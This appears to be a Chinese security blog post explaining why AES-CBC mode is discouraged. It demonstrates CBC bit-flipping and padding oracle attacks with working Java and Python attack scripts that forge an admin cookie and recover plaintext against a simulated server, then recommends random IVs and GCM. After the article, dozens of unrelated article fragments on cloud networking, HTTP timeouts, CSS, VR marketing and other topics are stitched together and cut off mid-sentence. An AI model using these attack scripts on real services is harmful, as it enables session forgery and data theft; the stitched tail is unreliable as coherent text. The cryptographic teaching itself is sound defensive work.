这篇文章是我在公司内部分享中一部分内容的详细版本,如标题所言,我会通过文字、代码示例、带你完整的搞懂为什么我们不建议你使用cbc加密模式,用了会导致什么安全问题,即使一定要用需要注意哪些方面的内容。
注:本文仅从安全角度出发,未考虑性能与兼容性等因素
分组加密的工作模式与具体的分组加密算法没有关系,所以只要使用了cbc模式,不限于AES、DES、3DES等算法都一样存在问题。
以AES-128-CBC
为例,可以屏蔽AES算法的内部实现,把AES算法当作一个黑盒,输入明文和密钥返回密文。
因为是分组加密算法,所以对于长的明文,需要按照算法约定的块大小进行分组,AES每一组为16B,不同组之间使用相同的密钥进行计算的话,会产生一些安全问题,所以为了将分组密码应用到不同的实际应用,NIST定义了若干的工作模式,不同模式对分块的加密处理逻辑会不同,常见的工作模式有:
模式 | 描述 |
---|---|
ECB(电码本) | 相同的密钥分队明文分组进行加密 |
CBC(分组链接) | 加密算法的输入是上一个密文组和当前明文组的异或 |
CFB(密文反馈) | 一次处理s位,上一块密文作为下一块加密算法输入,产生伪随机数与明文异或或作为下一单元的密文 |
OFB(输出反馈) | 类似CFB,仅加密算法的输入是上一次加密的输出,且使用整个分组 |
CTR(技数器) | 每个明文分组都与一个经过加密的计数器相异或。对每个后续分组计数器递增 |
ECB模式最为简单,假设存在明文分组a、b、c、d 每个分组分别在相同密钥k进行aes加密后的密文为A、B、C、D,最终明文abcd对应的密文为ABCD,如图所示:
ECB模式很简单可能从性能角度讲非常占优,因为分组之间没有关联,可以独立并行计算。但从安全角度来看这种直接将密文分组进行拼接的方式,很可能会被攻击者猜解出明文特征或替换丢弃部分密文块达到明文的替换与截取效果,以下的图非常清晰:
所以很容易理解ECB也不是推荐使用的工作模式。
有了ECB的前车之鉴,CBC( Cipher Block Chaining)模式就提出将明文分组先于一个随机值分组IV进行异或且本组的密文又与下一组的明文进行异或的方式,这种方式增加了密文的随机性,避免了ECB的问题,详细过程见图:
解释下这个图,存在明文分组a、b、c、d,cbc工作模式是存在执行顺序的,即第一个密文分组计算后才能计算第二个分组,第一个明文分组在加密前明文a需要和一个初始分组IV进行异或运算 即 a^IV
,然后再用密钥K进行标准的AES加密,E(a^IV,K)
得到第一组的密文分组A,密文分组A会参与第二组密文的计算,计算过程类似,只不过第二次需将IV替换为A,如此循环,最后得到的密文ABCD即为CBC模式。
仔细观察CBC的加密过程,需要使用到一个随机分组IV,在标准的加密过程中,IV会被拼接到密文分组中去,假设存在两人甲和乙,甲方给到乙方的密文实际是 (IV)ABCD,乙在拿到密文后提取IV,然后进行下图的解密:
解密过程就是加密过程转变了下方向,留意两个图从abcd到ABCD的箭头方向。第一个密文分组先进行AES解密,得到的中间值我们计为M_A,M_A再于初始向量IV进行异或得到a,第二个分组重复同样的动作,还是将IV替换为密文分组A,最终可得到明文分组abcd。
CBC增加了随机变量IV给密文增加了随机性,增大了密文分析的难度是不是就安全了呢? 答案当然是不,CBC又引入了新的问题——可以通过改变密文从而改变明文。
CBC字节翻转攻击原理非常简单,如图所示:
攻击往往发生在解密过程,黑客通过控制IV和密文分组可以达到修改明文的目的,图中黑客通过替换密文D分组为E分组可以篡改原本明文d为x(可能会涉及填充验证,这里先不管),或者同样的道理黑客可以通过控制IV达到修改明文分组a的目的。
接下来用一个实际例子来演示其原理及危害。
为了保证方便进行原理讲解,在加密时会将IV和key写死,避免每次运行的结果不一样。
假设存在一个web服务应用,前后端通过Cookie来进行权限校验,cookie的内容为明文admin:0
进行AES-128-CBC加密后的密文进行base64编码,数字0代表此时用户的权限为非管理员用户,当admin后面的数字为1时,后端会认为是一名管理员用户。
Cookie内容为:AAAAAAAAAAAAAAAAAAAAAJyycJTyrCtpsXM3jT1uVKU=
此时黑客在知道校验原理的情况下可利用字节翻转攻击对此服务发起攻击,在不知道密钥的情况下将cookie明文修改为admin:1
,具体过程:
AES以16B作为block size进行分块,admin:0
在ascii编码下对应的二进制仅为7B,所以在加密时还会对原始明文进行填充直到刚好为16B的整数倍,所以还需要填充9B(填充细节下面再讲),因为CBC还会有IV,所以最终的密文是IV+Cipher,IV16B,cipher16B,总共32B,这里因为只有一个密文分块,所以改变IV的第7个字节对应明文admin:0
数字的位置,或者密文的第7个字节即可改变明文数字部分的字段,通过不断的尝试,我们将原本密文IV分组 00
改为01
,即可成功翻转明文为1,即cookie明文变为admin:1
,从而达到权限提升的目的。
完整代码:
package com.example.springshiroproject;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.security.Key;
import java.util.Arrays;
public class MyTest {
public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
AesCipherService aesCipherService = new AesCipherService();
// 写死密钥
byte[] key = new byte[128/8];
Arrays.fill(key,(byte) '\0'); // 写死的密钥,客户端及黑客未知
String plainText = "admin:0"; // cookie明文内容
byte[] plainTextBytes = plainText.getBytes();
// 写死IV
byte[] iv_bytes = new byte[128/8];
Arrays.fill(iv_bytes, (byte) '\0');
//
// // 通过反射调用可以自定义IV的AES-128-cbc加密方法(原方法为private)
Method encryptWithIV = aesCipherService.getClass().getSuperclass().getSuperclass().getSuperclass().getDeclaredMethod("encrypt",new Class[]{byte[].class, byte[].class,byte[].class,boolean.class});
encryptWithIV.setAccessible(true);
ByteSource cipherWithIV = (ByteSource) encryptWithIV.invoke(aesCipherService,new Object[]{plainTextBytes, key,iv_bytes,true});
System.out.println("明文:" + ByteSource.Util.bytes(plainTextBytes).toHex());
// 正常逻辑解密
byte[] cipher = cipherWithIV.getBytes();
System.out.println("原始密文: " + cipherWithIV.toHex());
System.out.println("Cookie内容: " + cipherWithIV.toBase64());
ByteSource decPlain = aesCipherService.decrypt(cipher, key);
System.out.println("原始解密后明文:" + new String(decPlain.getBytes()));
// 字节翻转攻击
cipher[6] = (byte)0x01;
System.out.println("翻转后的密文: " + ByteSource.Util.bytes(cipher).toHex());
System.out.println("翻转后的cookie:"+ ByteSource.Util.bytes(cipher).toBase64());
decPlain = aesCipherService.decrypt(cipher, key);
System.out.println("翻转解密后明文:" + new String(decPlain.getBytes()));
}
}
这个例子只讲了一个分块的情况,在实际的场景中可能涉及多个分块,而多个分块进行尝试改变一个密文分组实际会影响两个明文分组,要求不断在相同位置的向前的密文分组进行变换猜测,非常耗时。
所以为了更方便的利用,攻击者发现利用解密程序端会对填充规则进行验证,验证不通过会抛出异常,类似sql注入盲注一样,给攻击者提供了更多的信息方便了漏洞的利用。
因为会涉及到对填充规则的利用,所以有必要专门介绍下主流的填充类型:
填充类型 | 描述 |
---|---|
NoPadding | 没有填充 |
PKCS#5 | 固定分块size为8B |
PKCS#7 | 分块size可为1~255 |
ISO 10126 | 最后一个字节填充需要填充的长度,剩下的随机填充 |
ANSI X9.23 | 最后一个字节填充需要填充的长度,剩下的补0填充 |
ZerosPadding | 填充 \x00 |
这里着重讲一下PKCS#5
和PKCS#7
, 我发现很多安全人员写的文章对于这两种填充模式的描述是有问题的,比如:
其实不管pkcs#5
还是pkcs#7
填充的内容都是需要填充的字节数这个数二进制本身,pkcs#5
是按照8B为标准分块进行填充,pkcs#7
是可以不固定1~255都行,只不过按照AES的RFC约定,blocksize固定为16B,所以在AES调用里面pkcs#5
和pkcs#7
是没啥区别的。
举个例子,假如存在明文helloworld
,明文本身为英文,按照ascii每个字符占用1B,明文长度为10B
,还需填充6B
,填充内容为\x06
,最终分块内容为:helloworld\x06\x06\x06\x06\x06\x06
.
在解密时,服务端会对内容做如下校验:
padding oracle 攻击利用的是篡改密文分组最后的填充字节引发服务端报错进而可预测出明文或生成新的密文的攻击方式,所以这里的oracle是预测的意思,非我们熟悉的java母公司甲骨文。
假设我们收到了一串通过AES-128-CBC加密的密文,密文内容为:
000000000000000000000000000000009cb27094f2ac2b69b173378d3d6e54a5
前面16B全是0的部分是写死的IV,后面才是真正的密文。复习下解密过程
表中标黄的就是攻击者可控的内容,如果仅翻转字节只能改变明文内容,但我们无法确切得知明文的具体内容,所以padding oracle 就登场了,正常的业务逻辑在解密时会对明文内容做判断,如果解密内容正确可能会返回200,解密明文错误返回403,但如果破坏密文程序对填充验证出错可能会导致程序出错进而产生500错误。
攻击者会利用500错误来循环判断猜解的中间值是否正确。
猜解出中间值后再与已知的IV进行异或就能得到明文。
还是以刚刚的例子来做测试,我们尝试猜解最后一位中间值,将IV从00-ff进行暴力验证直到程序不报错,得到iv[15]
为0x08
时没有报填充错误,证明这个时候篡改后的明文最后一位应该为0x01
,将明文和IV进行异或,可得中间值为0x08^0x01 = 0x09
,表中红色部分:
再进行第二步,猜解倒数第二位,猜解倒数第二位需要满足篡改后的明文后两位都为0x02
,因为最后一位都中间值已经得出了为 0x09 所以,最后一位的iv为:0x09^0x02 = 0x0B
,循环iv倒数第二位从00~ff.得到IV值为0x0B
时,程序不报错,所以中间值为0x02^0x0B=0x09
不断重复这个过程,直到所有的中间值都被猜解出来。
此时,我们就可以在不知道密钥的情况下,根据中间值和IV推测出明文M^IV=P
(M为中间值,IV为初始向量、P为明文)。
因为我们将iv写死为00,所以明文就是M对应的ASCII值,也就是:
admin:0\09\09\09\09\09\09\09\09\09
09为填充内容,字节去掉得到最终明文:admin:0
对应的代码(Java):
package com.example.springshiroproject;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.crypto.CryptoException;
import org.apache.shiro.util.ByteSource;
import javax.crypto.BadPaddingException;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.security.Key;
import java.util.Arrays;
public class MyTest {
public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
int blockSize = 16;
AesCipherService aesCipherService = new AesCipherService();
// 写死密钥
byte[] key = new byte[128/8];
Arrays.fill(key,(byte) '\0'); // 写死的密钥,客户端及黑客未知
String plainText = "admin:0"; // cookie明文内容
byte[] plainTextBytes = plainText.getBytes();
byte[] iv_bytes = new byte[128/8];
Arrays.fill(iv_bytes, (byte) '\0');
//
// // 通过反射调用可以自定义IV的AES-128-cbc加密方法
Method encryptWithIV = aesCipherService.getClass().getSuperclass().getSuperclass().getSuperclass().getDeclaredMethod("encrypt",new Class[]{byte[].class, byte[].class,byte[].class,boolean.class});
encryptWithIV.setAccessible(true);
ByteSource cipherWithIV = (ByteSource) encryptWithIV.invoke(aesCipherService,new Object[]{plainTextBytes, key,iv_bytes,true});
System.out.println("明文:" + ByteSource.Util.bytes(plainTextBytes).toHex());
byte[] cipher = cipherWithIV.getBytes();
// System.out.println(cipher.length);
System.arraycopy(cipher,0,iv_bytes,0,blockSize-1);
System.out.println("原始密文: " + cipherWithIV.toHex());
System.out.println("Cookie内容: " + cipherWithIV.toBase64());
ByteSource decPlain = aesCipherService.decrypt(cipher, key);
System.out.println("原始解密后明文:" + new String(decPlain.getBytes()));
System.out.println("开始尝试");
decPlain = null;
byte[] middleValue = new byte[blockSize];
Arrays.fill(middleValue,(byte) 0x00);
boolean flipFlag = false;
for (int j=0; j<blockSize; j++){
byte tmp;
System.out.println("start "+ (j+1));
if (j >0){
for (int p=middleValue.length-1;p>middleValue.length-1-j;p--){
tmp = (byte) (middleValue[p]^(j+1));
cipher[p] = tmp;
// System.out.println("此时的tmp: " + tmp);
}
System.out.println("根据已知中间值填充iv的cipher: " + ByteSource.Util.bytes(cipher).toHex());
}else {
System.out.println("初始填充");
}
tmp = cipher[blockSize-j-1];
for (int i=0x00; i<=0xff; i++){
if (tmp == i){
// continue;
System.out.println("和原值一致跳过");
if (!flipFlag){
flipFlag = true;
continue;
}
}
cipher[blockSize-j-1] = (byte) i;
try{
decPlain = aesCipherService.decrypt(cipher, key);
tmp = (byte) (i ^ (j+1));
middleValue[blockSize-j-1] =tmp; //保存中间值 M = IV ^ I
System.out.println("猜对了!倒数第" +(j+1) +"个iv:" + i);
System.out.println("倒数第" +(j+1) +"个M:" + tmp);
break;
}catch (CryptoException e){
if (i==0xff){
System.out.print("没有跑出来");
System.exit(0);
}
}
}
}
System.out.println("猜解的中间值:" + ByteSource.Util.bytes(middleValue).toHex());
byte[] attackPlain = new byte[blockSize];
for (int i=0;i<attackPlain.length;i++){
attackPlain[i] =(byte)( iv_bytes[i] ^middleValue[i]);
}
System.out.println("最终密文:" + ByteSource.Util.bytes(cipher).toHex());
System.out.println("最终明文:" + ByteSource.Util.bytes(attackPlain).toHex());
System.out.println("尝试结束");
System.out.println("翻转解密后明文:" + new String(attackPlain));
}
}
运行结果:
另外对应的python版本我也有写过,如果你自己造轮子发现报错可以参考下我的代码:
漏洞模拟环境:
from aes_manual import aes_manual
class PaddingOracleEnv:
def __init__(self):
self.key = aes_manual.get_key(16)
def run(self):
cipher = aes_manual.encrypt(self.key, "hello".encode())
def login(self,cookie):
try:
text = aes_manual.decrypt(self.key, cookie)
if text == b'hello':
return 200 # 完全正确
else:
return 403 # 明文错误
except RuntimeError as e:
return 500 # 填充验证失败
padding_oracle_env = PaddingOracleEnv()
if __name__ == '__main__':
res = padding_oracle_env.login(b"1111111111111111R\xbb\x16^\xaf\xa8\x18Me.U\xaf\xfe\xb6\x99\xec")
print(res)
攻击脚本:
import sys
from aes_manual import aes_manual
from padding_oracle_env import padding_oracle_env
from loguru import logger
class PaddingOracleAttack:
def __init__(self):
logger.remove()
logger.add(sys.stderr,level="DEBUG")
self.cipher_text_raw = b"1111111111111111R\xbb\x16^\xaf\xa8\x18Me.U\xaf\xfe\xb6\x99\xec"
self.iv = aes_manual.get_iv(self.cipher_text_raw)
self.cipher_content = aes_manual.get_cipher_content(self.cipher_text_raw)
def single_byte_xor(self, A: bytes, B: bytes):
"""单字节异或操作"""
assert len(A) == len(B) == 1
return ord(A) ^ ord(B)
def guess_last(self):
"""
padding oracle
:return:
"""
c_l = len(self.cipher_content)
M = bytearray()
for j in range(1, c_l+1): # 中间值位数
for i in range(1, 256): # 假 iv 爆破
f_iv = b'\x00' * (c_l-j) + bytes([i])
for m in M[::-1]:
f_iv += bytes([m ^ j]) # 利用上一步已知的m计算后面未知位置的iv
res = padding_oracle_env.login(f_iv + self.cipher_content)
if res == 403: # 填充正确的情况
M.append(i ^ j)
logger.info(f"{j} - {bytes([i])} - {i}")
break
# logger.info(M)
M = M[::-1] # reverse
logger.info(f"M({len(M)}):{M}")
p = bytearray()
for m_i, m in enumerate(M):
p.append(m ^ self.iv[m_i])
logger.info(f"破解明文为({len(p)}):{p}")
def run(self):
self.guess_last()
if __name__ == '__main__':
attack = PaddingOracleAttack()
attack.run()
其实也没必要重复造轮子,也有很多现成的工具,如:http://github.com/KishanBagaria/padding-oracle-attacker
回答标题问题,正是因为CBC字节翻转、padding oracle attack 这些攻击方式的存在,所以在对传输机密性要求高的场景是不推荐使用CBC工作模式的,
此外我在谷歌、百度搜索python aes cbc加密
关键词时出现了很多误导性的文章:
而且文章排名前三,里面的示例代码竟然直接将加解密密钥作为IV,这么做有如下风险:
为了确保安全性,应该生成随机且唯一的IV,并将其与密文一起存储。常见的做法是每次加密生成一个新的IV,并将其作为附加的密文数据一起传输或存储,以便解密时正确使用。这样可以避免可预测性攻击,并增强AES CBC模式的安全性
更推荐使用GCM作为加解密的工作模式,因为:
- http://paper.seebug.org/1123/
- http://www.rfc-editor.org/rfc/rfc2630
- http://xz.aliyun.com/t/11633
- chatgpt
家人们,欢迎关注我的公众号“硬核安全”,跟我一起学起来!
为了解决传统数据中心业务部署效率低、资源利用率低、运维管理复杂的问题,数据中心需要往云计算架构场景演进。CloudFabric解决方案的云网一体化场景逻辑示意图如图1所示,云平台提供计算和网络统一管理界面,控制器与云平台开放对接。图1云网一体化场景逻辑示意图业务管理员通过云平台界面统一创建计算资源和网络资源:?业务管理员通过云平台将网络资源分配给指定的业务或应用。云平台将业务下发指令传递给网络控制器,再由网络控制器将配置明细自动下发至设备,无需人工配置。?业务管理员通过云平台进行计算和存储资源的创建、删除和迁移等操作。云平台、网络控制器、网络设备和服务器之间自行进行协调交互,无需人工干预。云网一体化具有如下特点:?业务自动化:网络设备由控制器纳管,通过与云平台和VMM的对接,实现网络服务的自动化部署,将传统网络的部署周期提升至分钟级。网络服务自动化:网络拖拽式布放,业务分钟级上线,支持多DC/多Fabric组网编排。VAS服务自动化:业务链图形化创建,VAS服务自动化配置。对接主流计算平台:VMwarevCenter、MicroSoftSystemCenter。对接开源OpenStac
1超时,无法避免的痛HTTP调用即通过HTTP协议执行一次网络请求。既然是网络请求,就有超时的可能性(可能你的网卡,也可能服务器所处网络卡),因此在开发中需要注意:框架设置的默认超时时间是否合理过短,请求还未处理完成,你就急不可待了!过长,请求早已超出正常响应时间而挂了考虑网络不稳定性,超时后可以通过定时任务请求重试 注意考虑服务端接口幂等性设计,即是否允许重试考虑框架是否会像浏览器那样限制并发连接数,以免在高并发下,HTTP调用的并发数成为瓶颈1.1HTTP调用框架技术选型SpringCloud全家桶 使用Feign进行声明式的服务调用。只使用SpringBoot HTTP客户端ApacheHttpClient进行服务调用。1.2连接超时配置&&读取超时参数虽然应用层是HTTP协议,但网络层始终是TCP/IP协议。TCP/IP是面向连接的协议,在传输数据之前需要建立连接。所以网络框架都会提供如下超时参数: 连接超时参数ConnectTimeout 可自定义配置的建立连接最长等待时间读取超时参数ReadTimeout 控制从Socket上读取数据的最长等待时间。1.3常
有赞数据仓库背景业务系统使用mysql数据库数据仓库基于Hive构建业务快速变化,员工数量持续增加第一版:手工维护的表格在有赞大数据平台发展初期,业务量不大,开发者对业务完全熟悉,从ETL到统计分析都可以轻松搞定,当时没有想过要做一个元数据系统。随着公司规模扩大,开始有专职的数据分析师,作为大数据平台的新用户,希望能够记录和查看核心表的信息。最简单的方法就是去业务数据库里查看注释,但是一方面业务数据库的注释不全或不准,另一方面分析师的视角和开发者不同,需要从不同角度去描述表或字段,比如完整的枚举值含义、业务统计口径等。于是有了第一版的数据字典,手工维护一系列核心的业务表和统计报表,记录了字段含义、统计口径的业务描述和sql语句等,用一个web界面展示。第二版:自动采集的数据字典系统第一版的数据字典,其实就是一堆表格,像个wiki,大家都可以上来编辑。当公司业务快速发展,靠人工维护这些表格已经力不从心。新增加了几个业务线,很多新增的表格无法查到,旧业务线也不断增加新表、新字段,手工维护的表格里的信息会不准。此时最强烈的需求是希望能获取到最新的表和字段信息。我们尽量使用了拉取的方式,而不是
实现代码 <cube> <side></side> <side></side> <side></side> <side></side> <side></side> <side></side> </cube>复制css代码 cube{ --s:243px; --hs:calc(var(--s)/2); display:block; width:var(--s); height:var(--s); transform-style:preserve-3d; will-change:transform; animation:r15slinearinfinite; } side{ position:absolute; width:100%; height:100%; --sq:conic-gradient( from270degatcalc(100%/3)calc(100%/3), #fff90deg, trans
❝论文题目:EnhancementofSSDbyconcatenatingfeaturemapsforobjectdetection ❞1.前言继续来开开脑洞,今天要介绍BMVC2017的一个SSD的改进算法R-SSD。关于SSD可以看一下之前的论文笔记:目标检测算法之SSD,后面我也会整理出来一个非常详细的Pytorch版本的SSD代码的解读,确认无误后发送给感兴趣的同学。这里先看一下SSD的网络结构图吧。SSD的网络结构图带有特征图维度信息的更清晰的骨干网络和VGG16的对比图如下:SSD的BackBone2.出发点一般来说,深度神经网络的特征图数量越多,我们获得的性能一般会更好。但是这并不一定代表着简单的增加特征图的数量就能使得效果变好,这一点在实验部分有说明。这篇论文在SSD的基础上并没有改变BackBone网络,即还是应用稍加修改的VGG16为BackBone。这篇论文的贡献是提出了新的特征融合方式来提升了SSD的效果,这一改进使得SSD可以充分利用特征,虽然速度稍慢于原始的SSD算法,但mAP却获得了较大的提升。3.介绍传统的SSD算法通过不同层的特征来做检测,使得其对尺度
UnderstandingTrafficDensityfromLarge-ScaleWebCameraData CVPR2017 https://arxiv.org/abs/1703.05868本文介绍了两个算法用于车辆密度估计:1)OPT-RC根据背景差得到车辆运动区域,对于图像的不同区域学习到一个对应的权值矩阵用于估计车辆密度 2)FCN-MT使用FCN分割框架来进行车辆密度估计 车辆密度估计问题还是比较难的,类似于人群密度估计OptimizationBasedVehicleDensityEstimationwithRankConstraint(OPT-RC) weproposearegressionmodeltolearndifferentweightsfordifferentblockstoincreasethedegreesoffreedomontheweights,andembedgeometryinformation 用一个回归模型来学习图像区域对应不同的密度估计权值矩阵,嵌入了几何信息FCNBasedMulti-TaskLearningforVehicleCountin
这次的作业主要是以对一个非常简单的数据分析问题进行实践的形式呈现出来,对于《R语言实战》第一二章的内容已经体现在了对问题的解析的过程中,所以就不再将学习的过程贴出来了。题目题目的内容大概如下:有三个csv文件:users.csv,用于存储用户ID和用户的注册日期: purchases.cvs,存储用户的购买数量和用户的购买日期。 messages.csv,用于存储用户收到的短信条数和收到的短信日期: 根据所给的数据回答以下三个问题:有多少百分比的用户在注册后的90天内(不包括注册日)购买了产品?注册后90天内购买的用户中有多少百分比在注册后购买前收到了短信通知?收到注册90天内收到的短信数量与用户90天内产品是否有关联?答案第一题加载必要的库library(Rcpp) library(Amelia) library(dplyr)复制载入csv文件,去掉列名,并不需要将字符型的列转为factorusers<-read.csv("~/Desktop/users.csv",stringsAsFactors=F,header=T,na.strings=c(
不知道剁手党们有没有发现5月20日的彩蛋?只需打开淘宝手机客户端,可以看到“我的VR男友”或“我的VR女友”活动页面,再配合VR头戴设备就有机会和杨洋和迪丽热巴“谈恋爱”。具体来讲,这是一部阿里VR实验室和宝洁推出的VR微电影。作为飘柔品牌代言人,杨洋和迪丽热巴在与粉丝实现“沉浸式”互动的同时,也自然地为他们“导购”了飘柔新品。据悉,为了能够尽可能增强粉丝的沉浸感,VR微电影拍摄采用了180度3D超清拍摄技术,和国际领先的八声道3D人耳收声技术,原片分辨率高达12K。伴随这部微电影上线,淘宝也从此开启了VR内容运营的新纪元。里面的科技含量也不少,不仅展示了阿里VR实验室自主研发的VR播放器,也揭开了VR视频导购技术的面纱。阿里巴巴称,VR播放器融入场景的UI系统对接淘宝交易体系,出现的产品可以支持收藏、购买和店铺一键关注,可以为消费者带来更多新鲜体验。今年三月份,阿里巴巴宣布成立VR实验室(GMLab),并首次对外公开集团VR计划。在内容方面,阿里已经全面启动Buy+计划引领未来购物体验,并将协同旗下的影业、音乐、视频网站等,推动优质VR内容产出。在硬件方面,阿里将依托全球最大电商平台
播放器SDK是腾讯云视立方产品家族的子产品之一,提供直播、点播场景的视频播放能力。 基础功能 播放支持:直播流播放、点播视频文件播放。 平台支持:Web/H5、iOS、Android、Flutter。 为了获取更好的产品功能及播放性能体验,建议结合腾讯云点播和云直播使用。 产品优势“腾讯视频”同款采用“腾讯视频”同款播放内核,经过长期内部优化和海量服务验证,对比系统播放器性能提升20%~50%,同时具备“臻彩视听”、精准Seek、清晰度切换、画中画等多种“腾讯视频”同款功能。 短视频场景优化在保证低能耗的同时,短视频启播时长最低可至100ms;同时具备多码率HLS指定流的下载及离线播放等独家优势功能。 场景化Demo提供了包含UI界面的Demo源码,如果您有相关需求可直接使用;Demo包含自定义封面、试看、动态水印等常见功能,以及App端的影视剧集、短视频、Feed流等业务场景,详见体验Demo。 版权保护提供商业DRM、私有协议加密、AB水印、动态水印、访问控制等视频安全方案,为独播剧、知识付费等版权视频保驾护航,详见视频加密。 全链路数据洞察支持点播、直播视频播放数据采集上报,提
最近的一个小软件,遇到了一个问题就是需要把字符串转成数字,可字符串中有时候会出来特殊字符。所以只需要做一个转换函数才可以的。下面这个函数比较凑效。这里做一个笔记本吧。 测试字符串是否是数字: #-*-coding:UTF-8-*- #Filename:test.py #authorby:www.runoob.com defis_number(s): try: float(s) returnTrue exceptValueError: pass returnFalse #测试字符串和数字 print(is_number('foo'))#False print(is_number('1'))#True print(is_number('1.3'))#True print(is_number('-1.37'))#True print(is_number('1e3'))#True复制 测试字符串是否是广义的数字: #-*-coding:UTF-8-*- #Filename:test.py #authorby:www.runoob.com defis_number(s): tr
首先是基本的代码整理 1#include<iostream> 2#include<opencv.hpp> 3 4usingnamespacestd; 5usingnamespacecv; 6intmain() 7{ 8Matsou,dest; 9sou=imread("C:\\Users\\32829\\Desktop\\aa.jpg"); 10if(sou.empty()) 11{ 12cout<<"图片读入失败"<<endl; 13} 14namedWindow("new",1); 15imshow("new",sou); 16 17/* 18//创建一张空白图像,大小和类型和原图一样 19dest=Mat::zeros(sou.size(),sou.type()); 20//这个dest图片是一个二通道的,要是Scalar(0,0,0)就是一个三通道的,其实就是给这个空白的图片你附上颜色 21//Scalar(1,3)表示对矩阵每个元素都赋值为(1,3),第一个通道中的值都是1,第二个通道中的值都是3. 22dest=Scalar
win10自带系统修复功能,可以在系统出现问题时修复Windows,不过该功能并非万能,有些用户无法通过启动修复解决系统问题,也有些用户修复之后就崩溃了,出现无线重启的情况,此时就需要通过安装介质比如系统U盘或者系统光盘来修复。一、准备工作1、容量4G以上的U盘一个2、制作win10系统U盘安装盘,https://answers.microsoft.com/zh-hans/windows/forum/all/windows/9944e6c3-8589-40fe-8252-4a21a6b08d07二、U盘修复win10系统步骤1、插入U盘启动盘,重启系统,进入bios,选择U盘启动; 2、点击“疑难解答”—“高级选项”—“命令提示符”; 3、在命令提示符窗口,输入bcdedit按回车执行,记录resumeobject的字符串,表示修复对象的标识符; 4、输入bcdedit/set{resumeobject字符串}recoveryenabledNo,回车执行,暂时停止系统自带的自动修复功能; 5、接着输入chkdsk/rC:命令,按回车执行,自动检查系统文件错误; 6、最
题目 给定N张卡片,正面分别写上1、2、……、N,然后全部翻面,洗牌,在背面分别写上1、2、……、N。将每张牌的正反两面数字相减(大减小),得到N个非负差值,其中是否存在相等的差? 输入格式 输入第一行给出一个正整数N(2≤N≤10000),随后一行给出1到N的一个洗牌后的排列,第i个数表示正面写了i的那张卡片背面的数字。 输出格式 按照“差值重复次数”的格式从大到小输出重复的差值及其重复的次数,每行输出一个结果。 输入样例 8 35862147 复制 输出样例 52 33 22 复制 解析 用数组b保存相同差值的个数,输入第i个数a的时候将b[abs(a-i)]++,最后将b逆序输出即可,注意有相同的一定是数量大于1 答案 #include<iostream> #include<cmath> usingnamespacestd; inta,N,b[10001]; intmain(){ cin>>N; for(inti=1;i<=N;i++){ cin>>a; b[abs(a-i)]++; } for(inti=N;i>
一、前言 现在web前端的开发,对于MVVM框架的运用,那是信手拈来,用的飞起。一个xxx-cli工具,就能初始化一套模板,再填充业务代码,打包部署即可。但是会用,是一个方面,大家有没有底层深入思考一下,这些框架核心的技术突破点在哪里?解决了哪些问题?作为一个爱主动学习的童鞋,我们得花点小时间稍微去研究一下才行。今天,我们就简单谈谈虚拟dom,来揭开它的神秘面纱。 首先看一道经典的面试题: “为什么我们需要虚拟DOM?”。 这个问题比较常见的回答思路是:“DOM操作是很慢的,而JS却可以很快,直接操作DOM可能会导致频繁的回流与重绘,JS不存在这些问题。因此虚拟DOM比原生DOM更快” 但实际真实这样吗? 二、虚拟dom是什么?what。 虚拟DOM(VirtualDOM)本质上是JS和DOM之间的一个映射缓存,它在形态上表现为一个能够描述DOM结构及其属性信息的JS对象。它主要存储在内存中。主要来说: 1.虚拟dom是一个js对象 2.虚拟dom能够描述真实dom(存在一个对应关系) 3.存储在内存之中 以react为例,我们来看看虚拟dom到底长什么样子: 三、
我是一名211高校软件工程大三学生,由于前段时间一直在找实习公司。笔试面试了很多公司,虽然有一定的基础,但是还是被某些公司面试官像虐狗一样的虐了。最后找到了一个口碑比较好的外企,主攻信息安全方面。这段时间闲下来了,打算学点新的知识,强化一下自己。今天接触了Python,现在总结一下今天的收获吧。之后会沿着自己的计划更新博客。欢迎各位博友指点! 废话少说,Python语言的强大我现在不是很清楚,反正就各大IT公司招聘要求而言,几乎都需要熟悉Python。 环境配置: 在官网(Python.org/download)下载最新的版本,我下载的是3.4.3。现在下来之后,进行安装。安装很简单,跟着提示一直走就是了。安装完毕之后,如果你想从windows的命令行调用Python,那么你需要在系统变量中的设置正确的PATH变量。我将Python安装在D:\software\Python,那么在它加在PATH变量之后即可。之后我们点击“运行”,输入python,就可以打开Python的解释器。如下: 你也可以使用下载时候自带的编辑器IDLE进行编辑。当然我两者都没有用,我习惯使
分布式数据库ZNBase的分布式计划生成 导读 在数据库系统中,收到一个查询请求时,执行器会负责解析SQL语句,生成执行计划,然后再一步步实现我们的查询请求。分布式数据库拥有分布式执行计划,与传统单机数据库相比拥有更高的扩展性。本文将介绍NewSQL分布式数据库ZNBase的分布式计划生成机制。 数据库的服务端,可以划分为执行器(ExecutionEngine)和存储引擎(StorageEngine)两部分。其中,执行器负责解析SQL命令并执行查询。数据库收到查询请求后,需要先解析SQL语句,把这一串文本解析成便于程序处理的结构化数据,然后生成一个逻辑执行计划,最后再转换成和数据的物理存储结构相关的物理执行计划,从目标节点中调取所需的数据,从而完成整个数据查询的过程。 逻辑计划与物理计划 执行器执行之前,需要计划的支撑。计划分为逻辑计划和物理计划。逻辑计划与物理计划的关系就好比是我们要出去旅游,选择什么交通工具就相当于逻辑计划,在这一步比如选择了飞机后。选择哪家航空公司就相当于物理计划。最后,当你真正动身去旅游就相当于执行。图1给出SQL语句执行的基本构架图,从中可以清楚地看到优化
1.文件所在 Namespace: Emgu.CV.Structure Assembly: Emgu.CV(inEmgu.CV.dll)Version:3.0.0.2157 (3.0.0.2157) 类型分:LineSegment2D 、LineSegment2DF、LineSegment3DF 2. 函数说明: 2.1构造函数:LineSegment2DF 测试夹角的验证:画线确认之间夹角 部分代码: Point[]a=newPoint[2]; //构造线的点数组 LineSegment2DF[]lin1=newLineSegment2DF[2];线段的数组 intlin_num=0;//线段数字超下标 privatevoidpictu